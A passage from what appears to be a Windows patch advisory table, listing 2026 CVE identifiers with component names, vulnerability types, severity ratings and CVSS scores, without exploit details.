Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  